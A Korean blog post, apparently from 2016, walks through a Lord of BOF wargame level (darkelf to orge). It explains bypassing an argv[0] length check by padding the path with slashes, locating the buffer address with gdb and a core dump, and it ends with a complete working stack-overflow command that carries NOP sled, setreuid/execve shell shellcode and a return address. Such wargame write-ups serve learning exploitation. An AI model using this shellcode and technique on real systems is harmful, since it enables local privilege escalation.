LOB_7.darkelf->orge

해킹/LOB 2016. 1. 21. 19:55


음 추가되었다는 부분(//here is changed!)을 보아하니 argv[0]의 길이가 77이 아니면 프로그램을 종료시키는 기능이 추가되었다.

음... 사실 이게 공격에 대한 방어로서 무슨 의미가 있을까 싶긴 하지만..


우선은 다음단계로 가기위해 필요하니 넘어가자. argv[0]에 들어가는 내용은 프로그램을 실행하는 이름이다.

그러면 ./orge라는 프로그램의 이름을 77바이트로 늘려야하는데 얼마전 쉘코드를 작성하면서 알게된거지만 ./////orge 이런식으로 '/'를 아무리 늘려도 프로그램은 정상적으로 실행된다. (방금 기억났는데 예전에 이문제를 처음 풀때는 ../../../../.............../home/darkelf/orge이런식으로 바이트수를 맞춰줬던것 같다... 집념의 사나이..)


일단 ./orge가 6바이트이므로 '.' + '/' 72개 + "orge" 하면 총 77바이트가 될것이다.

숫자를 셀 필요 없이 파이썬을 이용하면 좀더 쉽게 뽑아낼 수 있다.



 


이런식으로 프로그램 이름을 뽑아냈다. 이제 argv[1]로 들어갈 페이로드를 작성해야 한다.

tmp 폴더를 만들어서 orge 프로그램을 복사해넣고 gdb로 열어야 하는데... 이걸로 동적분석을 하려고 하면 분명히 argv[0] 체크 부분에서 걸릴것이다.

gdb .///////................///////////orge 이런식으로 열면 bash에서와 마찬가지로 argv[0]의 길이를 맞춰줄수 있다.

gdb에서는 절대경로로 프로그램을 열기 때문에 /home/darkelf/tmp/ 이렇게 18바이트를 빼고 59바이트를 맞춰주면 된다.

물론 그냥 gdb org로 연 다음에 길이비교를 하는 부분에서 gdb의 set 명령어로 strlen의 결과가 들어있는 레지스터를 77로 조작해줘도 동적분석을 할수 있으나 그렇게 하면 실제 argv[1]과 gdb로 볼때의 argv[1]의 주소 차이가 너무 벌어질 것이다.

아무튼 gdb '.'+'/'*54+"orge" 해준후 argv[1]의 주소가 어디쯤인지 알아보자.


gdb .//////////////////////////////////////////////////////orge





위 캡쳐처럼 실행시키고 아래 캡쳐 부분에서 main+275부분에 strcpy가 실행되기 전에 bp를 걸어놨다.

ebp-40부분이 buffer인것이 보인다. argv[1]에서 45~48번째 문자 4바이트가 리턴주소로 들어갈것이다.

지난번과 마찬가지로 r `python -c 'print "a"*47+"\xbf"'`를 해서 조건을 최대한 우회하면서 strcpy까지 프로그램을 진행시켰다.

strcpy가 실행되기 전 edx에 들어있는 값이 argv[1]의 주소일 것이다.




0xbffffbd5부분이 argv[1]의 시작주소인 것을 확인했다.

이제 a대신 쉘코드를 넣고 리턴주소를 0xbffffbd5로 덮어주자.



역시 주소 오차때문에 세그멘테이션 폴트가 뜨며 꺼져버렸다. 코어가 생성되었으므로 코어를 분석해보자.



0xbffffbd5부분에 0x00밖에 없고 segmentation fault는 0xbfffffad에서 떴다. 이말은 해당 주소까지 다 0x00으로 채워져있다는 뜻이다.

그러므로 오차가 어느정도 생겼는지 알아보기 위해서 더 낮은주소를 봐야한다.




어느정도 빼면서 메모리를 살펴보니 다행히 금방 쉘코드의 위치를 찾았다. 하얗게 블록지정한 곳이세 0x90이 시작되는것을 볼수 있다.

0xbffffb85지점이다.

이제 리턴주소를 해당지점으로 수정해서 페이로드를 작성하자.


.////////////////////////////////////////////////////////////////////////orge `python -c 'print "\x90"*3+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x85\xfb\xff\xbf"'`




결과는 성공이다.

끝-


'해킹 > LOB' 카테고리의 다른 글

LOB_9.troll->vampire  (0) 2016.01.22
LOB_8.orge->troll  (0) 2016.01.22
LOB_6.wolfman->darkelf  (0) 2016.01.21
LOB_5.orc->wolfman  (0) 2016.01.21
LOB_4.goblin->orc  (0) 2016.01.21
Tags
Social